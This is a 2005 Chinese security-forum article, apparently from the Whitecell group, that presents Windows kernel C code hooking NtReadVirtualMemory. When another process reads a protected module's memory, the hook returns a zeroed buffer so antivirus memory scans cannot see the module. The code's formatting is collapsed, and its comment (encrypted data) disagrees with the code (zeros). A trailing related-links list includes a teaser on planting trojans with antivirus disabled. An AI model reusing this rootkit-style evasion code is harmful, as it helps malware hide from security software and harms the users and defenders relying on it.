对抗杀毒软件的内存扫描

Author:  Polymorphours

Email:   Polymorphours@whitecell.org

Homepage:http://www.whitecell.org

Date:    2005-11-17

/*++        Author: PolymorphoursDate: 2005/1/10通过对 NtReadVirtualMemory 挂钩,防止其他进程对保护的模块进行扫描,如果发现其他进程读被保护模块的内存,则返回0--*/typedef struct _LDR_DATA_TABLE_ENTRY {LIST_ENTRY InLoadOrderLinks;LIST_ENTRY InMemoryOrderLinks;LIST_ENTRY InInitializationOrderLinks;PVOID DllBase;PVOID EntryPoint;ULONG SizeOfImage;UNICODE_STRING FullDllName;UNICODE_STRING BaseDllName;/*+0x034 Flags            : Uint4B+0x038 LoadCount        : Uint2B+0x03a TlsIndex         : Uint2B+0x03c HashLinks        : _LIST_ENTRY+0x03c SectionPointer   : Ptr32 Void+0x040 CheckSum         : Uint4B+0x044 TimeDateStamp    : Uint4B+0x044 LoadedImports    : Ptr32 Void+0x048 EntryPointActivationContext : Ptr32 Void+0x04c PatchInformation : Ptr32 Void*/} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;/*++函数名: MyNtReadVirtualMemory参数:INHANDLEProcessHandle,INPVOIDBaseAddress,OUTPVOIDBuffer,INULONGBufferLength,OUTPULONGReturnLengthOPTIONAL功能:隐藏保护模块的内存,如果发现有内存扫描到这块内存,则返回加密后的数据扰乱扫描过程返回:NTSTATUS--*/NTSTATUSMyNtReadVirtualMemory(INHANDLEProcessHandle,INPVOIDBaseAddress,OUTPVOIDBuffer,INULONGBufferLength,OUTPULONGReturnLengthOPTIONAL){NTSTATUSstatus;PEPROCESSeProcess;PVOIDPeb;PPEB_LDR_DATAPebLdrData;PLDR_DATA_TABLE_ENTRYLdrDataTableHeadList;PLDR_DATA_TABLE_ENTRYLdrDataTableEntry;PLIST_ENTRYBlink;PPROTECT_NODEFileNode = NULL;BOOLEANbHideFlag = FALSE;ULONGImageMaxAddress = 0;/*#ifdef _DEBUGDbgPrint( "Call Process: %s, BaseAddress: %08x\n", PsGetProcessImageFileName(

PsGetCurrentProcess() ), BaseAddress );#endif*/status =ObReferenceObjectByHandle(ProcessHandle,FILE_READ_DATA,PsProcessType,KernelMode,(PVOID)&eProcess,NULL);if ( NT_SUCCESS(status) ) {//// 得到PEB的地址//Peb = (PVOID)(*(PULONG)((PCHAR)eProcess + PebOffset));//// 切换到目标进程空间//KeAttachProcess( eProcess );//// 判断PEB是否有效,如果有效,那么准备利用PEB结构遍历进程加载的模块//if ( !MmIsAddressValid( Peb ) ) {/*#ifdef _DEBUGDbgPrint( "PEB is error.\n" );#endif*/KeDetachProcess();ObDereferenceObject( eProcess );goto CLEANUP;}PebLdrData = (PPEB_LDR_DATA)(*(PULONG)( (PCHAR)Peb + 0xc ));if ( !PebLdrData ) {KeDetachProcess();ObDereferenceObject( eProcess );goto CLEANUP;}try {ProbeForRead ( PebLdrData,sizeof(PEB_LDR_DATA),sizeof(ULONG));//// 遍历模块链表//LdrDataTableHeadList = (PLDR_DATA_TABLE_ENTRY)PebLdrData

->InLoadOrderModuleList.Flink;LdrDataTableEntry = LdrDataTableHeadList;do {ProbeForRead(LdrDataTableEntry,sizeof(LDR_DATA_TABLE_ENTRY),sizeof(ULONG));if ( !LdrDataTableEntry->DllBase ) {LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry

->InLoadOrderLinks.Flink;continue;}//// 判断读的内存属于那一个模块,如果都不属于,那么放过//ImageMaxAddress = (ULONG)((ULONG)LdrDataTableEntry->DllBase +

LdrDataTableEntry->SizeOfImage);if ( (ULONG)( (ULONG)BaseAddress + BufferLength) <

(ULONG)LdrDataTableEntry->DllBase || (ULONG)BaseAddress > ImageMaxAddress ) { // // 如果不是读模块区域,那么枚举下一个 //LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry->

InLoadOrderLinks.Flink;continue;}//// 如果是被保护的模块,那么返回虚假数据//bHideFlag = FALSE;Blink = ProtectFile.Blink;while ( Blink != &ProtectFile ) {FileNode = CONTAINING_RECORD( Blink, PROTECT_NODE, ActiveLink );//// 如果发现当前文件存在于隐藏列表,那么设置隐藏标志隐藏它//if ( wcsstr( FileNode->ProtectName, Ldr

DataTableEntry->FullDllName.Buffer ) ) {bHideFlag = TRUE;break;}Blink = Blink->Blink;}if ( bHideFlag ) {//// 返回原本的进程空间进行处理//KeDetachProcess();ObDereferenceObject( eProcess );ProbeForWrite(Buffer,BufferLength,sizeof(ULONG));memset( Buffer, 0x00, BufferLength );ProbeForWrite(ReturnLength,sizeof(PULONG),sizeof(ULONG));*ReturnLength = BufferLength;return STATUS_SUCCESS;}LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)LdrDataTableEntry

->InLoadOrderLinks.Flink;} while ( LdrDataTableEntry != LdrDataTableHeadList );} except( EXCEPTION_EXECUTE_HANDLER ) {if ( !bHideFlag ) {KeDetachProcess();ObDereferenceObject( eProcess );}goto CLEANUP;}KeDetachProcess();ObDereferenceObject( eProcess );}CLEANUP:return NtReadVirtualMemory(ProcessHandle,BaseAddress,Buffer,BufferLength,ReturnLength);}

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。

WSS 主页:http://www.whitecell.org/

WSS 论坛:http://www.whitecell.org/forums/

(0)

相关推荐

  • 对抗杀毒软件的内存扫描

    Author:  Polymorphours Email:   Polymorphours@whitecell.org Homepage:http://www.whitecell.org Date:    2005-11-17 /*++        Author: PolymorphoursDate: 2005/1/10通过对 NtReadVirtualMemory 挂钩,防止其他进程对保护的模块进行扫描,如果发现其他进程读被保护模块的内存,则返回0--*/typedef struct _LD

  • 详解LyScript 内存扫描与查壳实现

    目录 正文 扫描ntdll.dll模块 查壳功能 正文 LyScript 中提供了多种内存特征扫描函数,每一种扫描函数用法各不相同,在使用扫描函数时应首先搞清楚他们之间的差异,如下将分别详细介绍每一种内存扫描函数是如何灵活运用的,最后将实现一个简易版内存查壳脚本,可快速定位目标程序加了什么壳. LyScript项目地址:https://github.com/lyshark/LyScript 先来了解第一个函数scan_memory_all()的特点,该函数用来扫描当前进程内EIP所指向位置处整个

  • 熊猫烧香/千橡/威金专杀工具集合

    ·my123.com病毒查杀工具·哇哇资讯 专杀工具 V1.0·熊猫烧香/千橡/威金专杀工具集合·手工查杀3448病毒方法·IIS出现错误后修复工具·求助流程.如何发日志.分析及辅助工具! 由于上述软件都是安全论坛的东西,切必须注册所有提供了最近的病毒软件合集下载 经测试发现上述软件并不能用啊下载这个最新的这个幽默又具有破坏力的病毒恐怕最近中招的不少,来看看这篇技术分析:一.熊猫烧香有几个变种?到目前为止,从大体上分,目前主要有四大变种,变种A我们已经分析,见本版,变种B的就是大家常说的spoc

  • 黑客如何给你的系统种木马

    相信很多朋友都听说过木马程序,总觉得它很神秘.很高难,但事实上随着木马软件的智能化,很多骇客都能轻松达到攻击的目的.今天,笔者就以最新的一款木马程序--黑洞2004,从种植.使用.隐藏.防范四个方面来为网络爱好者介绍一下木马的特性.需要提醒大家的是,在使用木马程序的时候,请先关闭系统中的病毒防火墙,因为杀毒软件会把木马作为病毒的一种进行查杀. 操作步骤: 一.种植木马 现在网络上流行的木马基本上都采用的是C/S 结构(客户端/服务端).你要使用木马控制对方的电脑,首先需要在对方的的电脑中种植并运

  • 木马下载器前仆后继,AOTU病毒群卷土重来(专杀4月15日升级到1.4版)

    以下是这两天极度猖獗的AUTO病毒最新变种的分析报告: 一.行为概述 该EXE是病毒下载器,它会: 1) 参考系统C盘卷序列号来算出服务名,EXE 和DLL 的文件名. 2) 在每一个驱动器下放置AUTO病毒autorun.inf 和自身副本auto.exe 并加系统和隐藏属性. 3) 在系统system32 下放置自身副本"随机名.exe "和释放出来的"随机名.dll" 并将它们伪装成具有隐藏属性的系统文件. 4) 修改系统键值,将系统隐藏文件选项删除,造成用户

  • sql server性能调优 I/O开销的深入解析

    一.概述 IO 内存是sql server最重要的资源,数据从磁盘加载到内存,再从内存中缓存,输出到应用端,在sql server 内存初探中有介绍.在明白了sqlserver内存原理后,就能更好的分析I/O开销,从而提升数据库的整体性能. 在生产环境下数据库的sqlserver服务启动后一个星期,就可以通过dmv来分析优化.在I/O分析这块可以从物理I/O和内存I/O二方面来分析, 重点分析应在内存I/O上,可能从多个维度来分析,比如从sql server服务启动以来 历史I/O开销总量分析,

  • Golang Map实现赋值和扩容的示例代码

    golang map 操作,是map 实现中较复杂的逻辑.因为当赋值时,为了减少hash 冲突链的长度过长问题,会做map 的扩容以及数据的迁移.而map 的扩容以及数据的迁移也是关注的重点. 数据结构 首先,我们需要重新学习下map实现的数据结构: type hmap struct { count int flags uint8 B uint8 noverflow uint16 hash0 uint32 buckets unsafe.Pointer oldbuckets unsafe.Poin

  • 详细分析Python垃圾回收机制

    引入 为什么要有垃圾回收机制 Python中的垃圾回收机制简称(GC),我们在程序的运行中会产生大量的变量用于保存数据,而有时候有些变量已经没有用了就需要被清理释放掉该变量所占据的内存空间.在一些较为低级的语言中(比如:C语言,汇编语言)对于内存空间的释放是需要编程人员来手动进行的,这种与底层硬件直接打交道的操作是十分的危险与繁琐的,而基于C语言开发而来的Python为了解决掉这种顾虑则自带了一种垃圾回收机制,从而让开发人员不必过分担心内存的使用情况而可以全身心的投入到开发中去. >>>

  • JVM的7种垃圾回收器(小结)

    垃圾回收算法和垃圾回收器 对于JVM的垃圾回收算法有复制算法.标记清除.标记整理. 用阳哥的话就是:这些算法只是天上飞的理念,是一种方法论,但是真正的垃圾回收还需要有落地实现,所以垃圾回收器应运而生. JVM回收的区域包括方法区和堆,jvm对于不同区域不同的特点采用分代收集算法,比如因为所有的对象都是在Eden区进行分配,并且大部分对象的存活时间都不长,都是"朝生夕死"的,每次新生代存活的对象都不多,所以新采取复制算法:而jvm默认是新生代的对象熬过15次GC才能进入老年代,所以老年代

  • MySQL索引是啥?不懂就问

    目录 概述 从二叉树到B+树 聚集索引 非聚集索引 联合索引和覆盖索引 B+树索引VS哈希索引 普通索引和唯一索引 InnoDB VS MyISAM 用explain分析索引使用 总结 概述 以下是需要创建索引的常见场景,为了对比,创建测试表(a带索引.d无索引): mysql> create table test( --创建测试表 -> id int(10) not null AUTO_INCREMENT, -> a int(10) default null, -> b int(

随机推荐